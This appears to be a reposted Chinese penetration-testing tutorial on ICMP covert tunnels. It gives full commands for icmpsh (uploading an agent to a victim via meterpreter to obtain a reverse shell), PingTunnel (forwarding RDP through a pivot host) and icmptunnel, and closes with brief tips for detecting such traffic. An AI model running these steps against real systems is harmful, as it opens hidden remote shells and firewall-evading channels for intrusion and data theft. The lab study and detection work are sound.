ICMP隱藏通信隧道技術


@

簡介

ICMP隧道簡單實用,是一個比較特殊的協議.在一般的通信里,兩台主機要進行通信必須開放端口.而ICMP協議就不需要.
最常見的ICMP協議就是ping命令的回復
常見的ICMP隧道工具有icmpsh,PingTunnel,icmptunnel,powershell icmp等

ICMP隧道搭建條件: 目標主機必須支持ICMP協議的進出
探測ICMP協議是否支持: 目標主機與攻擊主機能夠相互PING通即可

icmpsh

icmpsh工具使用簡單,便於攜帶,運行時不需要管理員權限

利用icmpsh搭建隧道:

  1. 下載icmpsh
git clone https://github.com/inquisb/icmpsh.git
  1. 安裝python-impacket庫
apt-get install python-impacket
或
pip install impacket
  1. 關閉原來系統的ICMP應答
    因為icmpsh要代替系統本身的ping命令應答程序,所以輸入以下命令關閉本地系統的ICMP應答
    (如要恢復應答,設置為0)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
  1. 運行run.sh
./run.sh # 會提示輸入目標主機的IP地址 ,輸入目標主機IP地址回車即可
或(上面的可能會出錯)
./icmpsh_m.py 攻擊機IP 受害機IP
  1. 把icmpsh.exe上傳到目標主機
    meterpreter下:
upload /root/桌面/icmpsh/icmpsh.exe c:\\icmpsh.exe
(上傳可能需要一定權限,可以不加路徑,會上傳到桌面 / 或者上傳到其他有權限的地方)
upload /root/桌面/icmpsh/icmpsh.exe
  1. 目標主機上運行icmpsh.exe程序
    shell里面運行
icmpsh.exe -t 本地IP -d 500 -b 30 -s 128

搭建成功會返回一個shell
在這里插入圖片描述

PingTunnel

PingTunnel可以跨平台使用.為了避免隧道被濫用,可以為隧道設置密碼

(windows下要在內網Windows機器上安裝wincap類庫)

實驗一

通過跳板機訪問web服務

在這里插入圖片描述
環境准備:

web服務器上開啟web服務

python -m SimpleHTTPServer 8000
(python2)

在這里插入圖片描述
隧道搭建:

  1. 分別在kali和跳板機上安裝PingTunnel(root權限下)
#安裝libpcap的依賴環境
yum -y install byacc
yum -y install flex bison
 
#安裝libpcap依賴庫
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
 
#安裝PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

其他可能的依賴安裝

yum -y install gcc gcc-c++ kernel-devel //安裝gcc、c++編譯器以及內核文件
  1. 在跳板機上操作
ptunnel -x 123456     #-x 指定連接密碼

在這里插入圖片描述

  1. kali上操作
ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.131 -dp 3389 -x 123456
    -p 指定ICMP隧道另一端的IP
    -lp:指定本地監聽的端口
    -da:指定要轉發的目標機器的IP
    -dp:指定要轉發的目標機器的端口
    -x:指定連接密碼

在這里插入圖片描述
至此隧道搭建完成

訪問本機1080端口(127.0.0.1:1080)

在這里插入圖片描述

實驗二

通過跳板機遠程連接win7

在這里插入圖片描述
隧道搭建同上

ptunnel -x 123456 # 跳板機

ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.130 -dp 3389 -x 123456 # kali

使用遠程連接工具krdc連接 127.0.0.1:1080

在這里插入圖片描述

Icmptunnel

攻擊機: Kali IP 192.168.88.128
靶機: Centos 7 IP 192.168.88.131

適用場景:目標機器是Linux服務器的情況

  1. icmptunnel的安裝
    分別在服務端和客戶端安裝 icmptunnel,安裝過程如下
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel/
make
  1. 服務端的操作(攻擊機器):
sysctl -w net.ipv4.icmp_echo_ignore_all=1      #禁用icmp回復
./icmptunnel -s                                       #監聽
重新打開一個命令行窗口
ifconfig tun0 10.0.0.1 netmask 255.255.255.0          #添加tun0網卡,分配隧道地址10.0.0.1/24

在這里插入圖片描述
在這里插入圖片描述

  1. 客戶端操作(對方機器):
sysctl -w net.ipv4.icmp_echo_ignore_all=1       #禁用icmp回復
./icmptunnel 192.168.88.128                          #連接服務端
重新打開一個命令行窗口
ifconfig tun0 10.0.0.2 netmask 255.255.255.0          #添加tun0網卡,分配隧道地址10.0.0.2/24

在這里插入圖片描述
在這里插入圖片描述
至此,ICMP隧道搭建完成

  • 隧道IP
    • kali: 10.0.0.1
    • Centos: 10.0.0.2

通過SSH連接Centos:

在這里插入圖片描述

防御ICMP隧道攻擊

分析ICMP數據包,檢測惡意流量.具體方法如下:

  • 檢測來自同一來源的ICMP數據包. 數量過多即不正常
  • 注意Payload大於64bit的數據包
  • 尋找相應數據包種的payload與請求數據包payload不一致的ICMP數據包
  • 檢測ICMP數據包的協議標簽,如:icmptunnel會在所有ICMP Payload前面添加"TUNL"來比哦及隧道

參考
https://blog.csdn.net/qq_36119192/article/details/100046761
內網安全攻防:滲透測試實戰指南


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM